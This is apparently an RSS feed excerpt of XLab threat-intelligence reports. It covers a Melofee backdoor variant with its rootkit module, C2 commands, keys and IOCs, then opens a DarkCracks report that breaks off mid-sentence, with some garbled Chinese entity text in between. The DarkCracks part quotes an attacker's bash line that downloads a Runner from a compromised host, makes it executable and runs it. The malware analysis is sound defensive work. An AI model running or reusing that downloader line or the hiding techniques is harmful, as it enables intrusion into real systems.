<![CDATA[EN]]>
</category>
<dc:creator>
<![CDATA[Alex.Turing]]>
</dc:creator>
<pubDate>Tue, 12 Nov 2024 12:06:09 GMT</pubDate>
<content:encoded>
<![CDATA[<h1 id="background">Background</h1> On July 27, 2024, <code>XLab's Cyber Threat Insight and Analysis System(CTIA)</code> detected an ELF file named pskt from IP address 45.92.156.166. Currently undetected on VirusTotal, the file triggered two alerts: an Overlay section and a communication domain mimicking Microsoft. Our analysis identified it as a Melofee backdoor variant, specifically targeting Red Hat Enterprise Linux (RHEL) 7.9. Melofee, a C++ backdoor, enables data collection, process management, file handling, and shell access. Originally exposed by ExaTrack in March 2023 and attributed to the APT group Winnti, this latest variant has notable upgrades. Structurally, it embeds an RC4-encrypted kernel driver to mask traces of files, processes, and network connections. Functionally, it adds improvements in persistence, single-instance control, and function ID design. By examining the sample's Run-Time Type Information (RTTI), we observed source-level modifications. For instance, the network connection class name has changed from <code>TLSSocket</code> in earlier samples to <code>TlsConn</code> in this variant, suggesting ongoing reconstruction and use of Melofee beyond the security community's radar. Notably, during our investigation, we encountered an intriguing misattribution. The new variant utilizes the C2 address <code>filemanage.micrsofts-file.com</code>. According to Passive DNS (PDNS) records, this C2's second-level domain, <code>micrsofts-file.com</code> and its associated domain, <code>www.micrsofts-file.com</code> resolved to IP address <code>91.195.240.123</code> between November 2023 and June 2024. This IP also

```
appeared in <a href="https://blogs.blackberry.com/en/2024/07/sidewinder-targets-ports-and-maritime-facilities-in-the-mediterranean-sea?ref=blog.xlab.qianxin.com">BlackBerry&apos;s July 2024 report</a> on the <strong>APT group SideWinder</strong> and has been flagged as malicious by several security vendors on VirusTotal. Does this imply that Melofee has circulated among multiple organizations, becoming a cross-group tool rather than being exclusive to a single group?</p> <p>We believe this is unlikely. The IP address <code>91.195.240.123</code> is a parking IP provided by domain registrar NameSilo. <strong>Labeling it as malicious likely constitutes a false positive</strong>. NameSilo automatically resolves new registered second-level domains and &quot;www&quot; subdomains to this IP, leading to potential misattributions, as legitimate domains, unrelated malicious domains, and APT activities may all share this IP.</p> <p>Due to limited visibility, we currently lack details on the attacker&#x2019;s entry methods and goals. We invite others to share insights to enrich the technical landscape. Given the low detection rate of this sample and Melofee&#x2019;s stealth, we&#x2019;re sharing these findings with the community for broader cybersecurity awareness.</p> <p>This report covers:</p> <ul> <li>Overlay structure and decryption method</li> <li>Driver module&#x2019;s functionalities</li> <li>Melofee&#x2019;s capabilities</li> </ul> <h1 id="technical-details">Technical Details</h1> <p>We have captured a single sample with the following details:</p> <pre><code>MD5: 603e38a59efcf6790f2b4593edb9faf5 Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=48bcb3f7c78bc746e25264058a76145b63bbf440, for GNU/Linux 3.2.0, stripped </code></pre> <p>This variant operates in two modes based on launch parameters: <strong>Infection Mode</strong> and <strong>Management Mode</strong>.</p> <ul> <li> <p><strong>Infection Mode</strong> (No Parameters)<br> When launched without parameters, Melofee enters Infection Mode, performing the following:</p> <ul> <li>Enforces single instance via <code>/tmp/lock_tmp1</code></li> <li>Achieves persistence via <code>crontab</code>, disguising the process name as <code>[md]</code> or <code>wwwwww</code></li> <li>Decrypts and installs a driver module for stealth across files, processes, network connections, and directories</li> <li>Decrypts and connects to its C2 server, awaiting commands</li> </ul> </li> <li> <p><strong>Management Mode</strong> (With Parameters)<br> When launched with parameters, Melofee enters Management Mode, controlling driver hiding functionality:</p> <ul> <li><strong>hide</strong>: Activates hiding features</li> <li><strong>show</strong>: Deactivates hiding</li> <li><strong>kill</strong>: Terminates the process</li> </ul> </li> </ul> <p>This design enables flexible operation across infection and management needs. The next sections will cover Melofee&#x2019;s decryption, driver module, and backdoor functions in detail.</p> <h2 id="part-1-decryption">Part 1: Decryption</h2> <p>Melofee stores its RC4-encrypted driver module as an overlay appended to the file&#x2019;s end, using a structure called <code>drv_overlay</code>:</p> <pre><code class="language-c">struct drv_overlay { int encrypted_payload[payload_size]; int payload_size; char flag[12]; } </code></pre> <p>In this sample, the <code>flag</code> is set to &quot;EV#?YLFAkoip&quot; and <code>payload_size</code> is <code>0x6a08</code>. The <code>encrypted_payload</code> spans <code>0x6a08</code> bytes backward from <code>payload_size</code>.</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_overlay.png" alt="klove_overlay.png" loading="lazy"></p> <p>Using the key <code>87JoENDi</code>, the <code>encrypted_payload</code> is decrypted to reveal the driver module <code>kworkerx</code>, designed for RHEL 7.9 with kernel version 3.10.0.</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_mod.png" alt="klove_mod.png" loading="lazy"></p> <p>The C2 configuration is also RC4-encrypted, using the same key <code>87JoENDi</code>.</p> <p><strong>Encrypted C2 Data</strong>:</p> <pre><code>00000000 a2 a4 96 0e 27 ee 40 54 a5 3a 52 8e 65 cf b1 e1 |&#xA2;&#xA4;..&apos;&#xEE;@T&#xA5;:R.e&#xCF;&#xB1;&#xE1;| 00000010 29 69 32 86 ae 56 4d 28 a2 b8 da 6e e1 05 5d 65 |)i2.&#xAE;VM(&#xA2;&#xB8;&#xDA;n&#xE1;.]e| 00000020 fc 86 88 50 43 17 |&#xFC;..PC.| </code></pre> <p><strong>Decrypted C2 Configuration</strong>:</p> <pre><code>0:filemanage.micrsofts-file.com:443:60 </code></pre> <p>This configuration includes the following elements:</p> <ul> <li>Connection Type</li> <li>C2 Domain</li> <li>C2 Port</li> <li>Interval</li> </ul> <h2 id="part-2-driver-module-analysis">Part 2: Driver Module Analysis</h2> <p>The decrypted driver module, <code>kworkerx</code>, has the following basic information:</p> <pre><code>MD5: 839f60efee25f07df7b23ba9d6bef892 Magic: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=c440028449ebce5c899a51ef0eb4d7fc43493253, not stripped </code></pre> <p>Through analysis, we confirmed that <code>kworkerx</code> is a modified version of the open-source project <em>Reptile</em>. The original Reptile project supports 12 functions, categorized into two main types: <em>hiding</em> and <em>backdoor</em> capabilities. <code>kworkerx</code> primarily utilizes the hiding functions.</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_feature.png" alt="klove_feature.png" loading="lazy"></p> <h4 id="hiding-mechanisms-in-kworkerx">Hiding Mechanisms in <code>kworkerx</code></h4> <ul> <li><strong>Network Communication Hiding</strong>: <code>kworkerx</code> hooks the <code>tcp4_seq_show</code> function within its initialization routine, effectively hiding all network traffic on port 443.</li> <li><strong>File, Process, and Directory Hiding</strong>: To conceal files, processes, and directories, <code>kworkerx</code> hooks several functions, including <code>fillonedir</code>, <code>filldir</code>, <code>filldir64</code>, and <code>vfs_read</code>.</li> </ul> <h4 id="communication-with-user-space">Communication with User Space</h4> <p><code>kworkerx</code> also hooks the <code>inet_ioctl</code> function to facilitate communication with user-space applications and receive control commands.</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_ioctl.png" alt="klove_ioctl.png" loading="lazy"></p> <p>When a user-space application calls the <code>ioctl</code> function with the second parameter set to <code>0xE0E0E0E</code>, it triggers the handler function <code>khook_inet_ioctl</code> in <code>kworkerx</code>. Within this function, <code>kworkerx</code> interprets the third parameter to either enable or disable specific hiding functions, providing fine-grained control over its concealment capabilities.</p> <table> <thead> <tr> <th>Arg.cmd</th> <th>Capability</th> </tr> </thead> <tbody> <tr> <td>0</td> <td>show all</td> </tr> <tr> <td>1</td> <td>hide all</td> </tr> <tr> <td>2</td> <td>hide proc</td> </tr> <tr> <td>3</td> <td>show proc</td> </tr> <tr> <td>5</td> <td>file tampering</td> </tr> <tr> <td>7</td> <td>hide file,dir</td> </tr> <tr> <td>8</td> <td>unhide_chdir</td> </tr> <tr> <td>9</td> <td>hide_chdir</td> </tr> </tbody> </table> <h2 id="part-3-melofee-analysis">Part 3: Melofee Analysis</h2> <p>After installing the <code>kworkerx</code> kernel driver module via the <code>init_module</code> function, Melofee enables TCP connection hiding by default. Additional hiding features, such as process, directory, and persistence concealment, are activated through control commands sent via IOCTL.</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_hide.png" alt="klove_hide.png" loading="lazy"></p> <p>When executed without parameters in a virtual machine, Melofee successfully concealed its process, the sample file, the persistence script, and network connections. Running the sample again with the <code>show</code> parameter revealed the process, sample file, and persistence script, while the network connection remained hidden. Finally, using the <code>rmmod</code> command to unload the <code>kworkerx</code> module restored visibility to the previously hidden network connection.</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_vm.png" alt="klove_vm.png" loading="lazy"></p> <p>After installing the driver module, Melofee decrypts the C2 configuration and establishes communication, waiting to receive and execute commands. The functionality of this sample aligns with the description provided in the ExaTrack analysis report, though there are differences in function IDs.</p> <table> <thead> <tr> <th>CMD ID</th> <th>Capability</th> </tr> </thead> <tbody> <tr> <td>0x11</td> <td>uninstall</td> </tr> <tr> <td>0x22</td> <td>collect device info</td> </tr> <tr> <td>0x33</td> <td>launch new command thread</td> </tr> <tr> <td>0x34</td> <td>write file</td> </tr> <tr> <td>0x35</td> <td>read file</td> </tr> <tr> <td>0x36</td> <td>create new socket</td> </tr> <tr> <td>0x37</td> <td>list directory</td> </tr> <tr> <td>0x38</td> <td>create directory</td> </tr> <tr> <td>0x3a</td> <td>delete directory</td> </tr> <tr> <td>0x3b</td> <td>create process to exec cmd</td> </tr> <tr> <td>0x3c</td> <td>exec command with output (including set new c2 ip) </td> </tr> <tr> <td>0x3d</td> <td>collect process info</td> </tr> <tr> <td>0x3e</td> <td>kill process</td> </tr> <tr> <td>0x3f</td> <td>launch shell</td> </tr> <tr> <td>0x7b</td> <td>ping back</td> </tr> </tbody> </table> <h1 id="summary">Summary</h1> <p>Melofee offers straightforward functionality with highly effective stealth capabilities. Samples of this malware family are rare, suggesting that attackers may limit its use to high-value targets. Network administrators can check for infection by looking for artifacts like the <code>/tmp/lock_tmp1</code> file and the <code>kworkerx</code> module. If signs of infection are detected, follow the previous steps to remove associated drivers, processes, files, and persistence mechanisms.</p> <p>We welcome readers to share additional insights and intelligence. If you&#x2019;re interested in our research, feel free to reach out to us via <a href="https://x.com/Xlab_qax?ref=blog.xlab.qianxin.com">Platform X</a>.</p> <h1 id="ioc">IOC</h1> <h2 id="md5">MD5</h2> <pre><code>603e38a59efcf6790f2b4593edb9faf5 *pskt 839f60efee25f07df7b23ba9d6bef892 *kworkerx </code></pre> <h2 id="c2">C2</h2> <pre><code>filemanage.micrsofts-file[.]com:443 </code></pre> <h2 id="downloader">Downloader</h2> <pre><code>http://45.92.156[.]166/klove/pskt </code></pre> ]]>
  </content:encoded>
</item>
<item>
  <title>
    <![CDATA[ 0检测的Melofee 木马新变种曝光，专攻RHEL 7.9系统 ]]>
  </title>
  <description>
    <![CDATA[ <h1 id="%E7%AE%80%E4%BB%8B">&#x7B80;&#x4ECB;</h1>
<p>2024&#x5E74;7&#x6708;27&#x65E5;&#xFF0C;XLab&#x7684;&#x5927;&#x7F51;&#x5A01;&#x80C1;&#x611F;&#x77E5;&#x7CFB;&#x7EDF;&#x68C0;&#x6D4B;&#x5230;IP &#x5730;&#x5740; <code>45.92.156.166</code> &#x6B63;&#x5728;&#x4F20;&#x64AD;&#x4E00;&#x4E2A;&#x540D;&#x4E3A;pskt&#x7684;ELF &#x6587;&#x4EF6;&#xFF0C;&#x5B83;&#x5728; VirusTotal &#x4E0A;&#x5C1A;&#x65E0;&#x68C0;&#x;</p> ]]>
  </description>
  <link>https://blog.xlab.qianxin.com/analysis_of_new_melofee_variant/</link>
  <guid isPermaLink="false">6724cf776bb47b000118f081</guid>
  <category>
    <![CDATA[ APT ]]>
  </category>
  <category>
    <![CDATA[ Backdoor ]]>
  </category>
  <category>
    <![CDATA[ Winnti ]]>
  </category>
  <category>
    <![CDATA[ CN ]]>
  </category>
  <dc:creator>
    <![CDATA[ Alex.Turing ]]>
  </dc:creator>
  <pubDate>Tue, 12 Nov 2024 03:51:03 GMT</pubDate>
  <content:encoded>
    <![CDATA[ <h1 id="%E7%AE%80%E4%BB%8B">&#x7B80;&#x4ECB;</h1>
<p>2024&#x5E74;7&#x6708;27&#x65E5;&#xFF0C;XLab&#x7684;&#x5927;&#x7F51;&#x5A01;&#x80C1;&#x611F;&#x77E5;&#x7CFB;&#x7EDF;&#x68C0;&#x6D4B;&#x5230;
```

 <img src="https://blog.xlab.qianxin.com/content/images/2024/11/klove_vm.png" alt="klove_vm.png" loading="lazy"> Melofee 在安装驱动模块后，会解密 C2 配置并建立通信，等待接收指令并执行&#x3002 ExaTrack 分析报告中的描述基本一致，但在功能&#x53F7 <table> <thead> <tr> <th>CMD ID</th> <th>Capability</th> </tr> </thead> <tbody> <tr> <td>0x11</td> <td>uninstall</td> </tr> <tr> <td>0x22</td> <td>collect device info</td> </tr> <tr> <td>0x33</td> <td>launch new command thread</td> </tr> <tr> <td>0x34</td> <td>write file</td> </tr> <tr> <td>0x35</td> <td>read file</td> </tr> <tr> <td>0x36</td> <td>create new tcp connection</td> </tr> <tr> <td>0x37</td> <td>list directory</td> </tr> <tr> <td>0x38</td> <td>create directory</td> </tr> <tr> <td>0x3a</td> <td>delete directory</td> </tr> <tr> <td>0x3b</td> <td>create process to exec cmd</td> </tr> <tr> <td>0x3c</td> <td>exec command with output (including set new c2 ip)</td> </tr> <tr> <td>0x3d</td> <td>collect process info</td> </tr> <tr> <td>0x3e</td> <td>kill process</td> </tr> <tr> <td>0x3f</td> <td>launch shell</td> </tr> <tr> <td>0x7b</td> <td>ping back</td> </tr> </tbody> </table> <h1 id="%E6%80%BB%E7%BB%93">总结</h1> Melofee 提供的功能较为简洁，但具备极强的隐&#x533F <code>/tmp/lock_tmp1</code> 文件以及 <code>kworkerx</code> 等实体判断系统是否受到感染。如发现&#x611F 我们欢迎读者提供新的见解和情报。如&#x6 X平台与我们联系。 <h1 id="ioc">IOC</h1> <h2 id="md5">MD5</h2> <pre><code>603e38a59efcf6790f2b4593edb9faf5 *pskt 839f60efee25f07df7b23ba9d6bef892 *kworkerx </code> </pre> <h2 id="c2">C2</h2> <pre><code>filemanage.micrsofts-file[.]com:443 </code></pre> <h2 id="downloader">Downloader</h2> <pre> <code>http://45.92.156[.]166/klove/pskt </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress]]>
</title>
<description>
<![CDATA[<h1 id="summary">Summary</h1> <code>XLab's Cyber Threat Insight and Analysis system(CTIA)</code> recently detected a sophisticated malicious payload delivery and upgrade framework, which we have named DarkCracks. This framework is characterized by its zero detection rate on VirusTotal, high persistence, stealth, and a well-designed upgrade mechanism, leveraging high-performance, stable online infrastructure]]>
</description>
<link>https://blog.xlab.qianxin.com/darkcracks-an-advanced-stealthy-payload-delivery-and-upgrade-framework/</link>
<guid isPermaLink="false">66d7008aa846010001f702ec</guid>
<category>
<![CDATA[Botnet]]>
</category>
<category>
<![CDATA[Backdoor]]>
</category>
<category>
<![CDATA[DGA]]>
</category>
<category>
<![CDATA[EN]]>
</category>
<dc:creator>
<![CDATA[Alex.Turing]]>
</dc:creator>
<pubDate>Wed, 04 Sep 2024 13:36:01 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2024/09/smartupdate_brief.webp" medium="image"/>
<content:encoded>
<![CDATA[<h1 id="summary">Summary</h1> <img src="https://blog.xlab.qianxin.com/content/images/2024/09/smartupdate_brief.webp" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress"> <code>XLab's Cyber Threat Insight and Analysis system(CTIA)</code> recently detected a sophisticated malicious payload delivery and upgrade framework, which we have named DarkCracks. This framework is characterized by its zero detection rate on VirusTotal, high persistence, stealth, and a well-designed upgrade mechanism, leveraging high-performance, stable online infrastructure as its backbone. Based on our data, DarkCracks is a meticulously crafted malware, indicating that its creators are far from mere script kiddies. While we have mapped out its payload delivery and upgrade framework, the high level of stealth employed by DarkCracks has left us with limited visibility into its Launcher component as of now. However, on August 26th, we observed a new password-protected PDF file named "resume" being added to the github repository. This file was later renamed to the Korean name <code>"김영미 이력서" (Kim Young-mi's resume)</code>. Given the commonality of this Korean name, we strongly suspect that part of this component’s functionality involves social engineering activities targeting Korean-speaking users. DarkCracks exploits compromised GLPI and WordPress sites to function as Downloaders and C2 servers. These compromised sites are used to collect sensitive information from infected devices, maintain long-term access, and serve as relay nodes to control other devices or deliver malicious payloads, effectively masking the attacker’s tracks. Within our monitoring scope, targeted entities include public service systems across different countries, such as school websites, public transportation systems, and even prison visitor systems. <h1 id="discovery-journey">Discovery Journey</h1> On June 5, 2024, CTIA issued an ELF_Downloader alert for the network traffic associated with ELF file 8b3d2b156424e5a0dc3f6d2b0dec96b2. The traffic, HTTP in nature, was traced to the download path <code>/vendor/sabre/event/lib/Promise/wk8dnj2k-x64-musl</code>, which exhibited unusually deep directory structures, raising suspicions of a potential breach. Upon further investigation, we confirmed that the server at IP 45.169.87.67 had been compromised, with the attack surface being the GLPI system running on that IP. The file <code>wk8dnj2k-x64-musl</code> was identified as a Runner, responsible for decrypting a JSON configuration file specified by its parameters, downloading, decrypting, and executing the Client designated in the <code>clientUrl</code> field. The Client's role is to report the compromised device's information, driven by C2-issued configuration files, and to download updates for the Runner, Client, Launcher, and other components. As of now, both Runner and Client components have a zero detection rate on VirusTotal, indicating that they have been operating stealthily under the radar of security vendors for over a year. On June 12, 2024, another download script, <code>f8a495a98c43b0805f53be14db09c409</code>, came to our attention. It utilized a similar download path, <code>/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl</code>. This file was strikingly similar to <code>wk8dnj2k-x64-musl</code>, and the server at IP 179.191.68.85, also running GLPI services, was found to host it. The appearance of similar files with different names, hosted on different servers and paths, strongly indicated the presence of an unknown attacker actively breaching GLPI systems and leveraging compromised devices as infrastructure to conduct their cybercriminal activities. To trace the origins, we embarked on a thorough investigation, uncovering key insights into the samples, configuration files, C2 servers, and targeted victims.   The compromised systems were found to belong to critical infrastructure across different countries, including school websites, public transportation systems, and prison visitor systems.   Through the XLab command tracking system, we intercepted a directive to change the C2 server, which pointed to a compromised WordPress site.   We discovered a GitHub project named "soduku1," created on July 11, 2023, which stored configuration files.   On VirusTotal, we identified an ELF file, <code>c447f7980a18205f309d8432f312fe69</code>, sharing the same origin as the Client. The file contained a source path <code>/home/erin/Desktop/Works/smart-update/SmartUpdate/client</code>.   XLab proactively contacted the victims, gaining access to the C2 Panel, ultimately uncovering the workings of the "Admin Mode."   Additionally, we found another GitHub project, "ftMQPwsMnB," containing a decoy file titled "김영미 이력서" (Kim Young-mi's resume) and QuasarRAT.   In conclusion, a well-designed malicious payload delivery and upgrade framework, active for over a year, has come into sharp focus. This framework, which we have named DarkCracks based on the use of the XOR key "Crackalackin," leverages compromised GLPI and WordPress sites as Downloaders and C2 servers. Its primary objectives are to gather sensitive information from infected devices, maintain long-term access, and use the compromised, stable, high-performance devices as relay nodes to control other devices or deliver malicious payloads, effectively obfuscating the attacker’s footprint. The high persistence, stealth, and sophisticated upgrade design, coupled with the strategic selection of stable online infrastructure, suggest that the attackers behind this framework are far from ordinary script kiddies. Despite our current inability to capture the Launcher component and monitor DarkCracks' further activities, the fact that it has remained undetected by security products for over a year underscores the stealth and efficiency of its attack methods. This warrants serious attention, and we have documented our findings to share with the security community. <h1 id="targeted-victims">Targeted Victims</h1> DarkCracks assigns different roles based on the performance of the victim's device: high-performance devices handle infrastructure roles, such as C2 and Downloader, while lower-performance devices act as Bot nodes. DarkCracks targets include WordPress and GLPI. WordPress is a globally recognized web content management system, which I won't elaborate on here. GLPI (Gestionnaire Libre de Parc Informatique) is a lesser-known open-source IT asset and service management system, used to help organizations manage their IT assets, including hardware, software, and network devices. It is widely used in small to medium-sized enterprises, educational institutions, and government agencies to enhance IT infrastructure management and maintenance. Among the 13 C2/Downloader instances we observed (compromised devices), there are important targets involving city public transport systems, prison visitor scheduling systems, financial institutions, and other key organizations across various countries. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_glpivictims.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> According to QiAnXin EagleMap, 10,157 GLPI services are currently exposed online. Organizations using GLPI should urgently check and secure their systems. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_statis.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h1 id="timeline">Timeline</h1> Based on the information we have gathered, we

have compiled the following timeline of DarkCracks' activities. Please note that this is only based on our current intelligence, and DarkCracks' actual activities may have started earlier. 2023.07.11: The user "adrhpbrn29" created the project "soduku1" to store backup configuration files. 2023.07.18: An unencrypted Client was uploaded to VirusTotal from China, with sensitive strings left unencrypted. 2024.05.23: Runner samples were uploaded to VirusTotal from Poland, South Korea, the Netherlands, the UK, Germany, and the US. The sensitive strings in these samples were fully encrypted. 2024.06.05: DarkCracks Downloader was first detected when XLab discovered that the IP address 45.169.87.67 had been compromised, hosting multiple Runners (including the ones from May 23rd), configuration files, and Client downloads. 2024.06.06: Analysis of the Runner was completed, successfully decrypting the configuration files and Client. It was found that backup configurations were stored on GitHub, with a version number of SUC 2.0. Some CPU architecture samples supported DGA (Domain Generation Algorithm). 2024.06.10: An updated C2 command was intercepted, indicating that the new C2 server was a compromised WordPress site. 2024.06.12: The IP address 179.191.68.85 was found to be compromised, serving as a download server for DarkCracks. Backup configurations were stored on Pastebin with a version number of SUC 2.01, with all CPU architectures supporting DGA. 2024.06.14: A victim provided XLab with implants left by the hackers on their device, including a C2 panel, configuration files, etc. 2024.07.23: Another Runner sample was uploaded to VirusTotal from Finland, Japan, and the US. This sample did not have encrypted sensitive strings and did not support DGA. 2024.08.23: The user "adrhpbrn29" created the project "ftMQPwsMnB" to distribute QuasarRAT. <h1 id="technical-details">Technical Details</h1> Next, we'll start with the Downloader and gradually introduce the key components of DarkCracks: Runner, Client, Launcher, and the C2 Panel. By thoroughly analyzing the functions of each component, we aim to clarify the framework's design principles and uncover how DarkCracks covertly delivers its payloads through these elements. <h2 id="part-1-downloader-analysis">Part 1: Downloader Analysis</h2> Regarding the Downloader, we've observed two distinct forms: one is a Metasploit Stager that first receives shellcode to build a shell execution environment before executing a <code>wget</code> download; the other is a bash script that directly downloads files via <code>wget</code> or <code>curl</code>. <h3 id="0x01-metasploit-stager">0x01: Metasploit Stager</h3> <pre><code> MD5: 8b3d2b156424e5a0dc3f6d2b0dec96b2 Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked </code></pre> The Stager communicates with 213.139.233.163:18441, generating network traffic as shown below. Its purpose is to request the file <code>wk8dnj2k-x64-musl</code> from 45.169.87.67.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/07/smartupdate_meta.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> The file <code>wk8dnj2k</code> is, in fact, DarkCracks' Runner component. On 45.169.87.67, we discovered multiple variants of the Runner (<code>wk8dnj2k-{cpu}-{compiler} </code>) compiled for ARM, MIPS, and x86/64 CPU architectures using different compilers like gnu, uclibc, and musl. We also found encrypted Client files (<code>se3hf6jwc-{cpu}-{compiler}</code>) and encrypted configuration files (<code>qoakeifm-unknown.txt</code>). <img src="https://blog.xlab.qianxin.com/content/images/2024/07/smartupdate_45.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h3 id="0x02-bash-script">0x02: Bash Script</h3> <pre><code>MD5: f8a495a98c43b0805f53be14db09c409 Magic: Bourne-Again shell script text executable </code></pre> The script's functionality is straightforward: it requests <code>pQ1iM9hd-x64-musl</code> and <code>j8UgL3v</code> from 179.191.68.85. The former is a Runner, while the latter is an encrypted configuration file. <pre><code>#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget "http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl" -O wdvsh|curl "http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/pQ1iM9hd-x64-musl" -o wdvsh; wget http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -O agr|curl http://179.191.68.85:82/vendor/sebastian/diff/src/Exception/j8UgL3v -o agr; chmod +x ./wdvsh; ./wdvsh agr; sleep 3; rm ./wdvsh; rm ./agr; </code></pre> Similarly, 179.191.68.85 also hosts various DarkCracks entities for different CPU architectures. <img src="https://blog.xlab.qianxin.com/content/images/2024/07/smartupdate_179.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h2 id="part2-runner-analysis">Part2: Runner Analysis</h2> The Runner hosted on 45.169.87.67, identified as <code>wk8dnj2k-{cpu}{compiler}</code>, is version 2.0, while the <code>pQ1iM9hd</code> series from 179.191.68.85 is version 2.01. The differences between them are minimal. This analysis focuses primarily on the <code>wk8dnj2k</code> Runner for the x64 CPU architecture. Below is its basic information: <pre><code>Name: wk8dnj2k-x64 MD5: 93a7cba1edbacb633021ebc38c10a79f Magic:ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, stripped </code></pre> As the name suggests, the Runner’s primary function is to act as a launcher, responsible for downloading, decrypting, and executing the Client. Specifically, when the Runner executes, it first checks the runtime parameters and supports a maximum of one parameter: an encrypted JSON configuration file. A valid configuration file, once decrypted, must include at least three fields: <code>key</code> (the key and IV needed to decrypt the Client), <code>emUrl</code> (the download address for the backup configuration file), and <code>clientUrl</code> (the download address for the encrypted Client). Upon validating the configuration file, the Runner creates a working directory at <code>/var/tmp/.shm</code>, moves itself to that directory, and renames itself to a UUID-formatted filename. It then generates a new encrypted file, <code>2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>, with the SH3 field containing the content of the original configuration file. The Runner achieves persistence through methods like crontab, <code>.bash_profile</code>, or <code>/etc/init.d/rnd</code>. Finally, it downloads, decrypts, and executes the Client. If no parameter is specified, the Runner checks for the existence of the file <code>/var/tmp/.shm/2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>, retrieves the configuration file through the SH3 field, and proceeds with the decryption, download, and execution of the Client. <h3 id="0x01-decrypting-sensitive-strings">0x01: Decrypting Sensitive Strings</h3> To protect its functionality from easy detection, the Runner pre-encrypts sensitive strings and decrypts them as needed using the <code>decstr</code> function. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_decstr.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> To decrypt these strings, one can use <code>flare_emu</code> to emulate the <code>decstr</code> function. For example, the ciphertext “9MwEVEVWWExM5AkO” corresponds to the plaintext “clientUrl.” <pre><code>import flare_emu def ignorefree(eh, address, argv, funcName, userData): eh.uc.reg_write(eh.regs["rax"], 0) ciphertxt=b'9MwEVEVWWExM5AkO' eh=flare_emu.EmuHelper() eh.apiHooks['free']=ignorefree eh.emulateRange(startAddr=0x00000000000F9D0,skipCalls=False,registers={'rdi':ciphertxt}) print(eh.getEmuString(eh.getRegVal('ret'))) </code></pre> Of course, as a security analysis, a simple black-box decryption is insufficient. After thorough examination, the decryption logic of the <code>decstr</code> function can be broken down into three steps: <ol> Reverse the string and decode it using Base64 URLSafe mode. XOR each byte with “Crackalackin’”. Swap the case of English letters and decode again using Base64 URLSafe mode. Using the IDAPython script in the appendix, the encrypted strings can be restored and patched, making reverse engineering much easier. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_afterdec.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> <h3 id="0x02-decryption-configuration">0x02: Decryption Configuration</h3> We captured two configuration files, <code>qoakeifm-unknown</code> and <code>j8UgL3v</code>. These files use the same encryption method as the sensitive strings. Once decrypted, it’s noteworthy that the <code>emUrl</code> directs to backup configurations stored on third-party platforms like GitHub and Pastebin.   Configuration file <code>qoakeifm-unknown</code> from 45.169.87.67:
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_qoak.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy">   Configuration file <code>j8UgL3v</code> from 179.191.68.85:
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_j8ug.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy">   Each field in the configuration file is described in the table below: <table> <thead> <tr> <th>Item</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>key</td> <td>AES KEY&IV</td> </tr> <tr> <td>url</td> <td>Client Report Entry</td> </tr> <tr> <td>authHeader</td> <td>Auth String</td> </tr> <tr> <td>emUrl</td> <td>Backup Config</td> </tr> <tr> <td>runnerUrl</td> <td>Runner Download URL</td> </tr> <tr> <td>clientUrl</td> <td>Client Download URL</td> </tr> </tbody> </table> <h3 id="0x03-persistence-mechanism">0x03: Persistence Mechanism</h3> Upon successfully decrypting a valid configuration file, the Runner creates the working directory <code>/var/tmp/.shm</code>, moves itself to that directory, renames itself with a UUID, and generates a new encrypted configuration file, <code>2b6f92be-6ff1-4b6d-98ce-f5597c69f4b1</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_2b6.png" alt="Uncovering DarkCracks: How a Stealthy Payload Delivery Framework Exploits GLPI and WordPress" loading="lazy"> After move the file, the Runner achieves persistence using one of the following methods: <ol> If the device supports crontab, it uses <code>crontab</code> for persistence. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/smartupdate_crontab.png" alt="Uncovering DarkCracks: How a Stealthy 